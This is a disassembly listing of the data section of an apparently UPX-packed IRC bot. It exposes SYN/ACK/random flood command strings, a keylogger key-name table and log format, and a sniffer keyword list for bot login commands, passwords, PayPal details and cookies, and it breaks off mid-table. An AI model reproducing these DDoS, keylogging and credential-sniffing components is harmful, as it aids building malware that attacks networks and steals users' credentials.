0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: UPX0:off_438BDCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o align 10h ; char asc_423B70[] asc_423B70 db 0Ah ; DATA XREF: __NMSG_WRITE+F1o db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o db 0Ah db 'Program: ',0 align 10h ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do align 10h dword_423BB0 dd 0FFFFFFFFh, 41F1D0h, 41F1D4h ; DATA XREF: ___crtGetStringTypeA+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 ; char VarName[] VarName db 'TZ',0 ; DATA XREF: __tzset+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_420FDAo align 4 ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+ADo align 10h dword_423C50 dd 0FFFFFFFFh, 4218DDh, 4218E1h, 0FFFFFFFFh, 42194Ch, 421950h ; DATA XREF: ___crtCompareStringA+5o dd 423D8Ch off_423C6C dd offset loc_421CE2 ; DATA XREF: sub_421CBA+8o ; sub_421CFE+2Co ... dd offset sub_421CD5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset sub_421EF6 dd offset dword_423DD8 off_423C7C dd offset sub_421D4C ; DATA XREF: sub_421CFE+3Ao ; sub_421D68o ... dd offset sub_421CD5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset loc_421F32 dword_423C88 dd 0 ; DATA XREF: sub_421CFE+16o ; sub_421DD0+16o ; char aInvalidStringP[] aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_421D73+11o dd offset dword_423E24 off_423CA8 dd offset sub_421E5B ; DATA XREF: sub_421E77o ; sub_421E9A+37o ... dd offset sub_421CD5 ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset loc_421F14 ; char aStringTooLong[] aStringTooLong db 'string too long',0 ; DATA XREF: sub_421E9A+11o dd offset dword_423E68 off_423CC8 dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)o ; UPX0:off_4392FCo ... ; type_info::`scalar deleting destructor'(uint) dd offset dword_423E98 off_423CD0 dd offset loc_422013 ; DATA XREF: exception::exception(char const * const &)+8o ; exception::exception(exception const &)+8o ... dd offset unknown_libname_16 ; Microsoft VisualC 2-8/net runtime aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_16+7o align 10h dword_423CF0 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Eo dd 3, 19930520h, 2 dup(0) dword_423D10 dd 0FFFFFFFFh, 42228Ah, 42228Eh, 0FFFFFFFFh, 422307h, 42230Bh ; DATA XREF: ___crtLCMapStringW+5o dword_423D28 dd 0FFFFFFFFh, 4224FFh, 422503h, 0FFFFFFFFh, 42255Ch, 422560h ; DATA XREF: ___crtGetStringTypeW+5o dd 4392FCh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_423D58 dd offset off_439314 ; DATA XREF: UPX0:00423D70o ; UPX0:00423DBCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_423D58 dd offset dword_423D28+18h dword_423D78 dd 3 dup(0) ; DATA XREF: UPX0:00423D9Co dd 2, 423D70h, 3 dup(0) dd offset off_439314 dd offset dword_423D78+4 off_423DA0 dd offset off_439334 ; DATA XREF: UPX0:00423DB8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_423DA0 dd offset off_423D58 dd offset dword_423D28+18h dd 0 db 0 ; DATA XREF: UPX0:00423DE8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 423DB8h dword_423DD8 dd 3 dup(0) ; DATA XREF: UPX0:00423C78o dd offset off_439334 dd offset unk_423DC8 off_423DEC dd offset off_439354 ; DATA XREF: UPX0:00423E04o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_423DEC dd offset off_423D58 dd offset dword_423D28+18h dword_423E10 dd 3 dup(0) ; DATA XREF: UPX0:00423E34o dd 3, 423E04h dword_423E24 dd 3 dup(0) ; DATA XREF: UPX0:00423CA4o dd offset off_439354 dd offset dword_423E10+4 off_423E38 dd offset off_439378 ; DATA XREF: UPX0:00423E50o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_423E38 dd 0 db 0 ; DATA XREF: UPX0:00423E78o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 423E50h dword_423E68 dd 3 dup(0) ; DATA XREF: UPX0:00423CC4o dd offset off_439378 dd offset unk_423E58 dd offset dword_423D28+18h dword_423E80 dd 4 dup(0) ; DATA XREF: UPX0:00423EA8o dd 1, 423E7Ch dword_423E98 dd 3 dup(0) ; DATA XREF: UPX0:00423CCCo dd offset off_4392FC dd offset dword_423E80+8 align 10h stru_423EB0 dd 19930520h ; Magic ; DATA XREF: UPX0:loc_4225F7o dd 2 ; Count dd offset stru_423EB0.Info; InfoPtr dd 0 ; CountDtr dd 0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd offset sub_4225E0 ; Info.Proc dd 0 ; Info.Id dd offset sub_4225D8 ; Info.Proc stru_423EE0 dd 19930520h ; Magic ; DATA XREF: UPX0:loc_422614o dd 2 ; Count dd offset stru_423EE0.Info; InfoPtr dd 0 ; CountDtr dd 0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd offset loc_422604 ; Info.Proc dd 0 ; Info.Id dd offset loc_42260C ; Info.Proc stru_423F10 dd 19930520h ; Magic ; DATA XREF: UPX0:loc_422620o dd 2 ; Count dd offset stru_423F10.Info; InfoPtr dd 1 ; CountDtr dd offset stru_423F40 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd 0 ; Info.Proc dd -1 ; Info.Id dd 0 ; Info.Proc stru_423F40 dd 0, 0, 1 ; _unk ; DATA XREF: UPX0:stru_423F10o dd 1 ; Count dd offset stru_423F58 ; RttiBlkPtr dd 0 stru_423F58 _msRttiDscr <0, 0, 0, offset loc_40477F> ; DATA XREF: UPX0:stru_423F40o stru_423F68 _msExcInfo <-1, offset loc_42262A> ; DATA XREF: UPX0:stru_423F70o stru_423F70 _msExcept7 <19930520h, 1, offset stru_423F68, 0, 0, 0> ; DATA XREF: UPX0:loc_422632o align 10h dd offset off_4392FC align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42206Ch, 0 dd offset off_439314 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 421E18h, 0 dd offset off_439334 align 10h dd 0FFFFFFFFh, 0 dword_423FD8 dd 1Ch, 421E82h, 3, 423FC4h, 423FA8h, 423F8Ch ; DATA XREF: UPX0:00423FFCo dword_423FF0 dd 0 ; DATA XREF: sub_421D73+2Eo ; sub_421EF6+4Bo dd offset sub_421D68 dd 0 dd offset dword_423FD8+8 stru_424000 _msExcInfo <-1, offset loc_42263C> ; DATA XREF: UPX0:stru_424008o stru_424008 _msExcept7 <19930520h, 1, offset stru_424000, 0, 0, 0> ; DATA XREF: UPX0:loc_422644o stru_424024 _msExcInfo <-1, offset loc_42264E> ; DATA XREF: UPX0:stru_42402Co stru_42402C _msExcept7 <19930520h, 1, offset stru_424024, 0, 0, 0> ; DATA XREF: UPX0:loc_422656o stru_424048 _msExcInfo <-1, offset loc_422660> ; DATA XREF: UPX0:stru_424050o stru_424050 _msExcept7 <19930520h, 1, offset stru_424048, 0, 0, 0> ; DATA XREF: UPX0:loc_422668o align 10h dd offset off_439354 align 8 dd 0FFFFFFFFh, 0 dword_424080 dd 1Ch, 421EDEh, 3, 42406Ch, 423FA8h, 423F8Ch ; DATA XREF: UPX0:004240A4o dword_424098 dd 0 ; DATA XREF: sub_421E9A+2Eo ; sub_421EF6+2Do dd offset sub_421E77 dd 0 dd offset dword_424080+8 stru_4240A8 _msExcInfo <-1, offset loc_422672> ; DATA XREF: UPX0:stru_4240B0o stru_4240B0 _msExcept7 <19930520h, 1, offset stru_4240A8, 0, 0, 0> ; DATA XREF: UPX0:loc_42267Ao dword_4240CC dd 2, 423FA8h, 423F8Ch ; DATA XREF: UPX0:004240E4o dword_4240D8 dd 0 ; DATA XREF: sub_421EF6+Fo dd offset sub_421CBA dd 0 dd offset dword_4240CC dd 3C6h dup(0) dword_425000 dd 0 ; DATA XREF: __cinit+1Fo ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 30h, 40h, 0 dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime dd offset sub_40484F dword_425010 dd 0 ; DATA XREF: __cinit+1Ao dword_425014 dd 0 ; DATA XREF: __cinit+10o dd offset ___onexitinit dd offset ___initmbctable dd offset ___initstdio dd offset sub_41FE28 dword_425028 dd 0 ; DATA XREF: __cinit:loc_4198B3o dword_42502C dd 0 ; DATA XREF: _doexit+65o dd offset ___endstdio dword_425034 dd 0 ; DATA XREF: _doexit:loc_419957o dword_425038 dd 0 ; DATA XREF: _doexit+76o dd offset sub_41FE39 dword_425040 dd 4 dup(0) ; DATA XREF: _doexit:loc_419968o ; char unk_425050 unk_425050 db 2 ; DATA XREF: sub_401000+5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 ; char unk_425088 unk_425088 db 2 ; DATA XREF: sub_4010B2+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 ; char aDdos_random[] aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo ; sub_40EE51+26B9o ; char aDdos_ack[] aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o ; sub_40EE51+26A2o align 10h ; char Str2[] Str2 db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o ; sub_40EE51+268Bo align 4 ; char unk_4250DC unk_4250DC db 2 ; DATA XREF: sub_401447+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 ; char unk_42513C unk_42513C db 2 ; DATA XREF: sub_401447+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 ; char unk_42519C unk_42519C db 2 ; DATA XREF: sub_401447+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 ; char unk_4251CC unk_4251CC db 2 ; DATA XREF: sub_401447+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 ; char unk_425214 unk_425214 db 2 ; DATA XREF: sub_401447+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 ; char Format[] Format db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182E+48o align 10h ; char dword_425280 dword_425280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D1+48o dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 ; char dword_4252B8 dword_4252B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A6D+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 ; char dword_4252E4 dword_4252E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D79+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 ; char dword_425344 dword_425344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D79+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 ; char aRandom[] aRandom db 'random',0 ; DATA XREF: sub_401D79+312o ; sub_40EE51+2C60o ... align 4 ; char aAck[] aAck db 'ack',0 ; DATA XREF: sub_401D79+2F2o ; sub_40EE51+2C49o ; char aSyn[] aSyn db 'syn',0 ; DATA XREF: sub_401D79+2D2o ; sub_40EE51+2C31o ; char dword_4253B4 dword_4253B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D79+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 ; char dword_4253E4 dword_4253E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D79+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 ; char dword_42542C dword_42542C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D79+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_40239E:loc_402481o unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_425BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_40239E+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) ; char dword_425BDC dword_425BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022BD+AEo dd 2202967h, 2002BBBBh, 732520h ; char aDDDDDDS[] aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022BD+88o align 4 ; char Mode[] Mode db 'ab',0 ; DATA XREF: sub_4022BD+4Eo ; sub_40EE51+2B0Fo align 4 ; char Source[] Source: ; DATA XREF: sub_4022BD+2Co unicode 0, <\>,0 ; char aSReturnS[] aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_40239E+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_40239E+1E5o align 4 ; char aSChangedWindow[] aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_40239E+8Fo align 4 off_425C68 dd offset off_4264E0 ; DATA XREF: sub_40267F+29Er dd offset off_4264DC dd offset off_4264D8 dd offset aHttp ; "HTTP" ; char a_login[] a_login db ':.login',0 ; DATA XREF: sub_40267F+1DEo dd 3 dup(0) dword_425C8C dd 0 ; DATA XREF: sub_40267F+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: UPX0:00425C74o align 4 off_4264D8 dd offset word_505446 ; DATA XREF: UPX0:00425C70o off_4264DC dd offset byte_435249 ; DATA XREF: UPX0:00425C6Co off_4264E0 dd offset word_544F42 ; DATA XREF: UPX0:off_425C68o ; char unk_4264E4 unk_4264E4 db 2 ; DATA XREF: sub_40267F+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 ; char unk_426528 unk_426528 db 2 ; DATA XREF: sub_40267F+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 ; char SubStr[] SubStr db '[PSNIFF]',0 ; DATA XREF: sub_40267F+235o align 4 ; char unk_426578 unk_426578 db 2 ; DATA XREF: sub_40267F+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h ; char unk_4265C0 unk_4265C0 db 2 ; DATA XREF: sub_40267F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 